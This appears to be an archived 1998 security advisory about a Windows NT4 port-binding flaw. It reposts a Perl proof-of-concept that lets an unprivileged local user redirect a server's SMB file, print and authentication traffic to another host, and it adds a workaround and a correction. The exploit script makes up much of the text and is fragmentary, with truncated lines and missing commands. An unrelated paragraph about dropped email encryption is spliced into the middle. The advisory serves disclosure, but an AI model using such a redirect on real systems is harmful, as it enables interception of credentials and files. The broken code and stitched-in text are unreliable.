SMB Redirect

SMB Redirect Program for NT

Reported February 10, 1998 by Weld Pond ([email protected]) on BugTraq

Systems Affected

Windows NT


This program uses the NT port binding vulnerability to redirect a machine"s SMB services to another machine. It was posted by Andrew Tridgell ([email protected]) on the Common Internet File System ([email protected]) mailing list. The full message and the thread surrounding it is available via the web at:

This script demonstrates a major security problem with Windows NT4. It is based on an earlier script ( that demonstrated a problem with a protocol change that Microsoft proposed. The change in this script takes advantage of a security hole pointed out by L0pht

What this script does is allow any unprivileged user on a NT Server to redirect the local SMB services to any other SMB server which they have an IP address for. This allows the user to redirect file, printer and authentication services to another server. This has enormous consequences for security.

This script was written by Andrew Tridgell and is being sent to the CIFS discussion list so that CIFS developers become aware of this problem. It should be noted that the L0pht announcement (which predates this script) already provided an example command using netcat to achieve the same thing so this script does not actually offer malicious hackers anything more than what has already been widely distributed. I wrote this example so that the consequences would become clear to the people who are in a position to do something about fixing the problem.


To use this script, install perl5 then run the command:
for example:
This would redirect any SMB connections made to the local server (whose IP address is to the remote server Any browsing, file access, authentication requests or printing done to the local server by SMB clients will be redirected to the remote server.


There is no immediate fix to this security problem yet available. A workaround is to disable local login access to non-trusted users. This can be achieved using the User Manager For Domains. At many sites this will be an acceptable solution because NT servers are often used only for remote file and printer services and do not really need to offer the ability for users to run arbitrary programs

Further, no other information is provided to the sender. They are not informed that the message has been sent anyway unencrypted. If the recipient views the contents by using the View Message button, they are then able to reply to that original message. If they do reply, Encryption has been automatically dropped from the Options, but again, this has been done without notification to the user. Hence a conversation could carry on between the two individuals without either of them realizing that the messages were being sent unencrypted.


A proper fix will require a patch from Microsoft. Hopefully they will either implement privileged ports or they will get the socket options correct on all their servers so such bind() tricks are not possible.

use IO::Socket;
use IO::Select;

if ($#ARGV != 1) \{
print Usage: \n;
exit 0;

my $local = $ARGV\[0\];
my $target = $ARGV\[1\];

my $smbport = 139;
my $Msg;

# this is a *SMBSERVER netbios name

print setting up redirection from $local to $target ...\n;

# Create a local socket
$sock1 = new IO::Socket::INET(LocalAddr=>$local,LocalPort=>$smbport,

while (1) \{

print listening on $local\n;

# Accept a connection
$IS = $sock1->accept() || die;

# Open a socket to the remote host
$OS = new
IO::Socket::INET(PeerAddr=>$target,PeerPort=>$smbport,Proto=>"tcp") ||

print connected to $target\n;

# Create a read set for select()
$rs = new IO::Select();

$first = 1;
$finished = 0;

while(! $finished) \{
($r_ready) = IO::Select->select($rs,undef,undef,undef);

foreach $i (@$r_ready) \{
$o = $OS if $i

$o = $IS if $i


if (! length $Msg) \{
$finished = 1;

if ($first && substr($Msg,0,1) eq \x81) \{
print replacing called name\n;
$msg2 =
$first = 0;
\} else \{
if ($i == $OS) \{ $Msg =~ s/Paul/Oops/mg;\}

# loop back to the top again


According to David LeBlanc ([email protected]),as posted to BugTraq on February 10, 1998:

One correction needs to be made here. There is no such thing as an unprivileged user on a default NT server. The only accounts which are allowed to log on locally by default are high level accounts, such as admins and server ops.

To learn more about new NT security concerns, subscribe to NTSD.

Reported by: Weld Pond ([email protected])
Posted here at NTSecurity.Net
Hide comments


  • Allowed HTML tags: <em> <strong> <blockquote> <br> <p>

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.